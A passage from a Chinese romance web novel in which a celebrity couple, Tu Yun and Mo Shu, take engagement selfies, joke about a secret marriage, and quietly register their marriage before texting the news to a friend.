然后两个人还特意开灯找家里的白墙背景，自拍了好几张。涂韵还特别“小心机”地捂嘴，翘起她的手指，照片里的戒指布灵布灵地在灯下闪着光。 一切拍完，涂韵满意地翻着手机里的照片，“幸好今天我化了妆，要不然都不能美美地记录了。” “突然吗？”莫殊在身后搂住涂韵的腰，靠在她的肩膀上，和她一起看着照片，“我都在梦里预演过十几遍了。” “哼，我怎么现在才知道莫老师这么会花言巧语？”涂韵转头，轻轻地咬了莫殊的脸颊一口，然后又问道：“你说，我们这算闪婚吗？” 莫殊想了想，摇头，“不算。我都喜欢你十几年了，你也喜欢我八年了。铜婚都才七年。” “哦——有道理，”涂韵又问，“那我们这算隐婚吗？” 莫殊认真地纠正道：“不算，因为我们还没领证。” 说到领证，涂韵顿时兴奋起来，“隐婚得是那种身边的人都不知道的，才叫隐婚吧？我都想好了，等我把我们两个的结婚证甩到小桃面前，她估计都得吓得跳起来。” 莫殊：“不止是苏小桃，我估计只要我们两个的结婚证一甩出来，所有人都得吓得跳起来。” 是啊，太突然了，一想到要是哪天真发生了这种场景，涂韵就“噗呲”一声笑了出来，眼底全是藏不住的狡黠。 涂韵甚至都能想象出画面——超话里突然炸开锅，热搜词条一条接一条往上冲，后面跟着“爆”字。 莫殊听着，嘴角也弯得更厉害。 涂韵又说：“以后出席活动或者参加综艺，问到有没有谈恋爱或者打算什么时候结婚的，到时候我就得忍着不笑，一本正经地说‘暂时没有’，想想就觉得好有意思。” 莫殊听着，嘴角也弯得更厉害。 “但是我是那种根本控制不住自己表情的人，万一露馅了怎么办？”涂韵转头看了一眼莫殊，吐槽道：“像你就肯定不会这样。毕竟你除了演戏之外，其他时候都是面无表情的扑克脸。” 莫殊腾出一只手，轻轻捏了捏涂韵的脸颊：“我哪有那样？我肯定会比你先露馅，毕竟有关你的事情的时候，我都控制不住自己。” “那既然我们两个都藏不住，那露馅就露馅吧，到时我们就像刚刚说的，直接把结婚证甩出来，”涂韵伸手握住了莫殊的手，两个人十指相扣，“但现在，这个秘密，只属于我们两个人。” * 12月12号，莫殊求婚的第五天，莫殊和涂韵两个人领证了。 和求婚一样，这天也是很平常的一天。 两个人刚好在这天都没有行程安排，只不过是涂 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没有精致的打光，就坐在有年份的木椅子上，莫殊换上了件白衬衫，涂韵身上还穿着那件米白色的长裙，头上随意地别着照相馆里的小头纱。 摄影师是个戴老花镜的大爷，拍完还念叨着“小年轻真登对”，两个人听见了，只是相视一笑。 早上八点，民政局刚上班，两个人几乎是同时推开车门，脚步放得极轻又快地往里面走。 说实话，领证比涂韵想象中的要快和简单。工作日的大早上，几乎没人来办理业务，就连来往的工作人员也只是匆匆地走过，没有人认出他们。 将提前准备好的材料和拍好的照片递过去，签好自己的名字，过一会两个红本本就递过来了。 只是盖章签自己名字的时候，登记人员瞥到他们两个的照片的时候，愣了一下，抬头看了他们两个一眼。 涂韵朝她眨眨眼，比了个“嘘——”的手势。 登记人员手都在发抖地盖了章。 天啊……感觉知道了什么惊天大瓜，不行不行，她是有职业操守的，得憋着！ 涂韵接过结婚证，她翻开看了一眼，照片刚拍的时候觉得很好看，可现在这样一看，照片上的两个人笑得都有些傻。她赶紧合上，把红本本塞进牛皮纸袋里——任谁也不会想到，这么普通的一个袋子里就这样装着她和莫殊的结婚证。 两个人沿着原路返回，重新坐在车上后，才舒了一口气。 莫殊将帽子摘下，他拉了拉涂韵的手腕，压低声音说道：“现在……我们是合法的了。” 涂韵轻轻“嗯”了一声，眼睛亮晶晶的，带着藏不住的笑意。 莫殊握着方向盘，车辆启动，悄无声息地汇入早高峰的车流中。 涂韵则忍不住地又将那结婚证从纸袋里掏出来，看一眼照片，又赶紧合上。终于她还是对着两张结婚证拍了张照，然后发给苏小桃，“我！现在是已婚人士了！”